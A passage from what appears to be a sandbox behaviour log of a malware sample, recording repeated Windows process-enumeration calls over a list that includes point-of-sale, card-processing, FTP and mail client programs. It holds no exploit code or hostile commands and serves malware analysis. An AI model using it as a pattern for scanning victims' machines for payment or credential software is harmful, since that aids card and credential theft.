pcPriClassBase=8, dwFlags=0x0, szExeFile="accupos.exe")) returned 1 [0080.106] Process32NextW (in: hSnapshot=0x1c4, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="afr38.exe")) returned 1 [0080.107] Process32NextW (in: hSnapshot=0x1c4, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="aldelo.exe")) returned 1 [0080.108] Process32NextW (in: hSnapshot=0x1c4, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x90c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="ccv_server.exe")) returned 1 [0080.109] Process32NextW (in: hSnapshot=0x1c4, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x91c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="centralcreditcard.exe")) returned 1 [0080.110] Process32NextW (in: hSnapshot=0x1c4, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x92c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="creditservice.exe")) returned 1 [0080.111] Process32NextW (in: hSnapshot=0x1c4, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x93c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="edcsvr.exe")) returned 1 [0080.112] Process32NextW (in: hSnapshot=0x1c4, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x94c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="fpos.exe")) returned 1 [0080.113] Process32NextW (in: hSnapshot=0x1c4, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x95c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="isspos.exe")) returned 1 [0080.114] Process32NextW (in: hSnapshot=0x1c4, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x96c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="mxslipstream.exe")) returned 1 [0080.115] Process32NextW (in: hSnapshot=0x1c4, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x97c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="omnipos.exe")) returned 1 [0080.116] Process32NextW (in: hSnapshot=0x1c4, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x98c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="spcwin.exe")) returned 1 [0080.117] Process32NextW (in: hSnapshot=0x1c4, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x99c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="spgagentservice.exe")) returned 1 [0080.118] Process32NextW (in: hSnapshot=0x1c4, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="utg2.exe")) returned 1 [0080.119] Process32NextW (in: hSnapshot=0x1c4, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="wax.exe")) returned 1 [0080.119] Process32NextW (in: hSnapshot=0x1c4, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="impressed seven.exe")) returned 1 [0080.120] Process32NextW (in: hSnapshot=0x1c4, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="camerasrefine.exe")) returned 1 [0080.121] Process32NextW (in: hSnapshot=0x1c4, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa0c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0080.122] Process32NextW (in: hSnapshot=0x1c4, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa4c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0080.123] Process32NextW (in: hSnapshot=0x1c4, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb68, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1d8, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0080.251] Process32NextW (in: hSnapshot=0x1c4, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa8c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="Fast.exeXX.exe")) returned 1 [0080.251] Process32NextW (in: hSnapshot=0x1c4, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0xa8c, pcPriClassBase=8, dwFlags=0x0, szExeFile="Fast.exeXX.exe")) returned 1 [0080.252] Process32NextW (in: hSnapshot=0x1c4, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x32c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0080.253] Process32NextW (in: hSnapshot=0x1c4, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x15c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="sppsvc.exe")) returned 1 [0080.253] Process32NextW (in: hSnapshot=0x1c4, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0080.254] Process32NextW (in: hSnapshot=0x1c4, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x25c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0xa8c, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0080.255] Process32NextW (in: hSnapshot=0x1c4, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x83c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0xa8c, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0080.256] Process32NextW (in: hSnapshot=0x1c4, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x864, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x184, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0080.256] Process32NextW (in: hSnapshot=0x1c4, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x884, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x184, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0080.257] Process32NextW (in: hSnapshot=0x1c4, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x884, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x184, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 0 [0080.258] CloseHandle (hObject=0x1c4) returned 1 [0080.258] Sleep (dwMilliseconds=0x1f4) [0081.029] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1c4 [0081.034] Process32FirstW (in: hSnapshot=0x1c4, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0081.035] Process32NextW (in: hSnapshot=0x1c4, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4f, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0081.036] Process32NextW (in: hSnapshot=0x1c4, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0081.036] Process32NextW (in: hSnapshot=0x1c4, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0081.037] Process32NextW (in: hSnapshot=0x1c4, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0081.037] Process32NextW (in: hSnapshot=0x1c4, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0081.038] Process32NextW (in: hSnapshot=0x1c4, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0081.038] Process32NextW (in: hSnapshot=0x1c4, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0081.039] Process32NextW (in: hSnapshot=0x1c4, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0081.040] Process32NextW (in: hSnapshot=0x1c4, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0081.040] Process32NextW (in: hSnapshot=0x1c4, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x250, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0081.040] Process32NextW (in: hSnapshot=0x1c4, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0081.041] Process32NextW (in: hSnapshot=0x1c4, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0081.042] Process32NextW (in: hSnapshot=0x1c4, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0081.042] Process32NextW (in: hSnapshot=0x1c4, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x370, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2a, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0081.042] Process32NextW (in: hSnapshot=0x1c4, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0081.043] Process32NextW (in: hSnapshot=0x1c4, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0081.044] Process32NextW (in: hSnapshot=0x1c4, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x11c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0081.044] Process32NextW (in: hSnapshot=0x1c4, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x444, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x338, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0081.045] Process32NextW (in: hSnapshot=0x1c4, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x454, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x20, th32ParentProcessID=0x43c, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0081.045] Process32NextW (in: hSnapshot=0x1c4, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x47c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0081.046] Process32NextW (in: hSnapshot=0x1c4, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0081.046] Process32NextW (in: hSnapshot=0x1c4, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0081.047] Process32NextW (in: hSnapshot=0x1c4, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x588, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x370, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskeng.exe")) returned 1 [0081.047] Process32NextW (in: hSnapshot=0x1c4, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x90, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="desiredbarriers.exe")) returned 1 [0081.048] Process32NextW (in: hSnapshot=0x1c4, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x67c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="forgotten-cats.exe")) returned 1 [0081.048] Process32NextW (in: hSnapshot=0x1c4, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x71c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="aboriginal confused oxford.exe")) returned 1 [0081.049] Process32NextW (in: hSnapshot=0x1c4, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x434, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="contribution.exe")) returned 1 [0081.049] Process32NextW (in: hSnapshot=0x1c4, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="becomesincorporatedinvitation.exe")) returned 1 [0081.050] Process32NextW (in: hSnapshot=0x1c4, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x564, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="passesbands.exe")) returned 1 [0081.050] Process32NextW (in: hSnapshot=0x1c4, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x560, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="universe.exe")) returned 1 [0081.051] Process32NextW (in: hSnapshot=0x1c4, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x10c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="heard_davidson.exe")) returned 1 [0081.051] Process32NextW (in: hSnapshot=0x1c4, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x208, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="etc overall adware.exe")) returned 1 [0081.052] Process32NextW (in: hSnapshot=0x1c4, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x174, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="amy minerals.exe")) returned 1 [0081.052] Process32NextW (in: hSnapshot=0x1c4, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="light handmade.exe")) returned 1 [0081.053] Process32NextW (in: hSnapshot=0x1c4, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x798, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="blond.exe")) returned 1 [0081.053] Process32NextW (in: hSnapshot=0x1c4, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x488, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="months.exe")) returned 1 [0081.054] Process32NextW (in: hSnapshot=0x1c4, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x304, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="ragemedicare.exe")) returned 1 [0081.054] Process32NextW (in: hSnapshot=0x1c4, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x640, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="tablet restored processes.exe")) returned 1 [0081.055] Process32NextW (in: hSnapshot=0x1c4, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="3dftp.exe")) returned 1 [0081.055] Process32NextW (in: hSnapshot=0x1c4, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x634, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="absolutetelnet.exe")) returned 1 [0081.056] Process32NextW (in: hSnapshot=0x1c4, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x360, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="alftp.exe")) returned 1 [0081.056] Process32NextW (in: hSnapshot=0x1c4, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x318, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="barca.exe")) returned 1 [0081.057] Process32NextW (in: hSnapshot=0x1c4, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="bitkinex.exe")) returned 1 [0081.057] Process32NextW (in: hSnapshot=0x1c4, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x754, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="coreftp.exe")) returned 1 [0081.058] Process32NextW (in: hSnapshot=0x1c4, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="far.exe")) returned 1 [0081.058] Process32NextW (in: hSnapshot=0x1c4, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="filezilla.exe")) returned 1 [0081.059] Process32NextW (in: hSnapshot=0x1c4, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x51c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="flashfxp.exe")) returned 1 [0081.060] Process32NextW (in: hSnapshot=0x1c4, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x534, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="fling.exe")) returned 1 [0081.060] Process32NextW (in: hSnapshot=0x1c4, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x57c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="foxmailincmail.exe")) returned 1 [0081.061] Process32NextW (in: hSnapshot=0x1c4, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="gmailnotifierpro.exe")) returned 1 [0081.061] Process32NextW (in: hSnapshot=0x1c4, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="icq.exe")) returned 1 [0081.062] Process32NextW (in: hSnapshot=0x1c4, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, 